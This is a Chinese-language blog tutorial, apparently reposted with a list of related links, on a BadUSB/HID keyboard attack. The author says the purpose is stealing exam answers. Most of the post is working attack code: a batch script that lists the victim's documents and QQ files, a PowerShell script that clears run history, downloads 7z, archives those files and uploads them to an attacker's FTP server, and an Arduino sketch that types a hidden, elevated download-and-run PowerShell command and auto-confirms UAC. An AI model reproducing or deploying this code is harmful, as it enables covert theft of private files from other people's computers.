HID高级攻击姿势:利用PowerShell脚本进行文件窃取

0×01 引言
又到了期中考试了,我又要去偷答案了,一直发现远程下载运行exe的方式不太好,容易报毒所以这里打算用ps脚本。
0×02 关于HID
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
0×03 准备工具
一台外网主机(直接电脑接网线宽带拨号也可以)
一个HID攻击工具(烧鹅或者Badusb)
FTPserver(搭建一个FTP服务器用来接收窃取到的文件)
PHPstudy(搭建http服务器用来存放ps脚本等)
7z.exe / 7z.dll(存放到http服务器下,之后会利用它来进行压缩后在上传,尽量减小上传速度)
0×04 代码部分(以下代码可能具有攻击性,请勿用于非法用途)
1.[get.bat](获取需要的文件存放位置,并保存到c:\temp.bat)[该代码存放于服务器http根目录下]
dir /s /a /b "%userprofile%\desktop\*.txt">c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.htl">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.txt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.htl">>c:\temp.bat
2.[get.ps1](清除运行记录,下载服务器中的7z.dll / 7z.exe / get.bat到c盘到相应位置,处理c:\temp.bat为7z压缩为c:\Ram.7z,上传c:\Ram.7z到FTP服务器根目录下,删除所有下载的文件!!!一共需要改4处IP地址!!!)[该代码存放于服务器http根目录下记得设置FTP服务器密码为admin admin]
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f;
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll');
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.exe','c:\7z.exe');
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/get.bat','c:\Users\Public\get.bat');
C:\Users\Public\get.bat;$array="";foreach($u in(get-content c:\temp.bat)){[array]$array +='c:\7z a -t7z c:\Ram.7z "'+$u+'"'};$array | Out-File -Encoding default c:\temp.bat;c:\temp.bat;
$fileinf=New-Object System.Io.FileInfo("C:\Ram.7z");
$ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://192.168.1.1/"+$fileinf.name)
$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
$ftp.Credentials = new-object System.Net.NetworkCredential("admin","admin")
$ftp.UseBinary = $true
$ftp.UsePassive = $true
$content = [System.IO.File]::ReadAllBytes($fileInf.fullname)
$ftp.ContentLength = $content.Length
$rs = $ftp.GetRequestStream()
$rs.Write($content, , $content.Length)
$rs.Close()
$rs.Dispose()
Remove-Item c:\temp.bat
Remove-Item c:\Ram.*
Remove-Item c:\7z.*
Remove-Item c:\Users\Public\get.*
3.[get.ino](以管理员权限下载get.ps1到本地c:\users\public目录!!!需要改1处IP地址!!!UAC闪过之后要记得拔出)[修改IP后直接刷入]
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay();//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay();
Keyboard.press('r');//r键
delay();
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay();
Keyboard.println("POWERSHELL -NOP");
delay();
Keyboard.println();
delay();
Keyboard.println("START-PROCESS -fILEpATH POWERSHELL \" -NOP -W HIDDEN -C SET-eXECUTIONpOLICY rEMOTEsIGNED -FORCE;CD $ENV:PUBLIC;(nEW-oBJECT sYSTEM.nET.wEBcLIENT).dOWNLOADfILE(\'HTTP://192.168.1.1/GET.PS1\',\'C:\\USERS\\PUBLIC\\GET.PS1\');./GET.PS1;EXIT\" -vERB RUNAS;EXIT");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
Keyboard.release(KEY_LEFT_ALT);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.print('y');
Keyboard.release(KEY_LEFT_ALT);
Keyboard.release(KEY_LEFT_ALT);
Keyboard.release(KEY_LEFT_ALT);
Keyboard.release(KEY_LEFT_ALT);
delay();
}
HID高级攻击姿势:利用PowerShell脚本进行文件窃取的更多相关文章
- 利用SHELL脚本实现文件完整性检测程序(1.2版更新)
一..开发背景 因时势所逼,需要对服务器的文件系统实行监控.虽然linux下有不少入侵检测和防窜改系统,但都比较麻烦,用起来也不是很称手.自己琢磨着也不需要什么多复杂的功能,写个脚本应该就可以满足基本 ...
- 利用shell脚本统计文件中出现次数最多的IP
比如有如下文件test.txt 1 134.102.173.43 2 134.102.173.43 3 134.102.171.42 4 134.102.170.9 要统计出现次数最多的IP可 ...
- cocos2d-x 3.0 利用python脚本在文件夹Classes内创建class
因为VS2012创建默认文件是在proj.win32下,新建类不在VS的classes于是编译时找不到类.直接写个脚本帮助新建类(cpp和h文件),还能够在里面加上一些预先写好的代码. 批处理文件Cr ...
- 利用python搭建Powersploit powershell脚本站点
powershell脚本站点的搭建 一.Powersploit Powersploit是一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能. 下 ...
- 利用Nuget打包添加tools下intsall.ps1【powershell脚本】修改.csproj文件
利用Nuget打包添加tools下intsall.ps1[powershell脚本]修改.csproj文件, 以设置1.项目-生成->输出->选择[XML文件文件] 2.项目->调试 ...
- 在 Snoop 中使用 PowerShell 脚本进行更高级的 UI 调试
原文:在 Snoop 中使用 PowerShell 脚本进行更高级的 UI 调试 版权声明:本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可.欢迎转载.使用.重新发布, ...
- 利用 Powershell 编写简单的浏览器脚本
生活中有很多事情是低效益,重复性.比如每天上某些网站,先登录再签到打卡,比如每隔一段时间清理回收站的文件等等.一个成熟的软件工程师应该想到用软件解决他. 对于这些简单的小任务,一般用脚本实现.比如Py ...
- 利用PowerShell复制SQLServer账户的所有权限
问题 对于DBA或者其他运维人员来说授权一个账户的相同权限给另一个账户是一个很普通的任务.但是随着服务器.数据库.应用.使用人员地增加就变得很枯燥乏味又耗时费力的工作.那么有什么容易的办法来实现这个任 ...
- PowerShell 脚本中的密码
引言 笔者在<PowerShell 远程执行任务>一文中提到了在脚本中使用用户名和密码的基本方式: $Username = 'xxxx' $Password = 'yyyy' $Pass ...
随机推荐
- WCF技术剖析之二:再谈IIS与ASP.NET管道
原文地址:http://www.cnblogs.com/artech/archive/2009/06/20/1507165.html 在2007年9月份,我曾经写了三篇详细介绍IIS架构和ASP.NE ...
- 《Java程序设计》实验三 实验报告
实验三 敏捷开发与XP实践 实验内容 XP基础 XP核心实践 相关工具 实验要求 1.没有Linux基础的同学建议先学习<Linux基础入门(新版)><Vim编辑器> 课程 2 ...
- CentOS6.5配置python开发环境之一:CentOS图形化界面显示
这两天在配置centos系统下python的开发环境和工具. 刚用centos,做做记录可以方便以后有需要的人...查资料确实挺麻烦的 centos6.5 sublime3 python27 subl ...
- WPF: DatePicker
获取DatePicker:date_Start上显示的时间date_Start.SelectedDate 比较两个dateTime类型的时间: DateTime StartDate =Convert. ...
- 231. Power of Two 342. Power of Four -- 判断是否为2、4的整数次幂
231. Power of Two Given an integer, write a function to determine if it is a power of two. class Sol ...
- SDWebImage源码刨根问底
前言: SDWebImage是iOS中一款处理图片的框架, 使用它提供的方法, 一句话就能让UIImageView,自动去加载并显示网络图片,将图片缓存到内存或磁盘缓存,正好有阅读开源项目的计划,于是 ...
- 多条查询sql语句返回多表数据集
+ + "';SELECT ProductID,ProductTitle,ProductName,SalePrice,ListingPrice,MainPicture,SaledItemCo ...
- 449. Serialize and Deserialize BST——几乎所有树的面试题目都会回到BFS或者DFS,使用BFS,None节点存#
Serialization is the process of converting a data structure or object into a sequence of bits so tha ...
- AudioManager音频管理器
AudioManager音频管理器提供了如下几种常用方法来控制手机音频: 1.adjustStreamVolume(int StreamType,int direction,int flgs):调整手 ...
- Jmeter简单测试elasticsearch服务器
入门知识: Jmeter是一个非常好用的压力测试工具. Jmeter用来做轻量级的压力测试,非常合适,只需要十几分钟,就能把压力测试需要的脚本写好. 顾名思义:压力测试,就是 被测试的系统,在一定 ...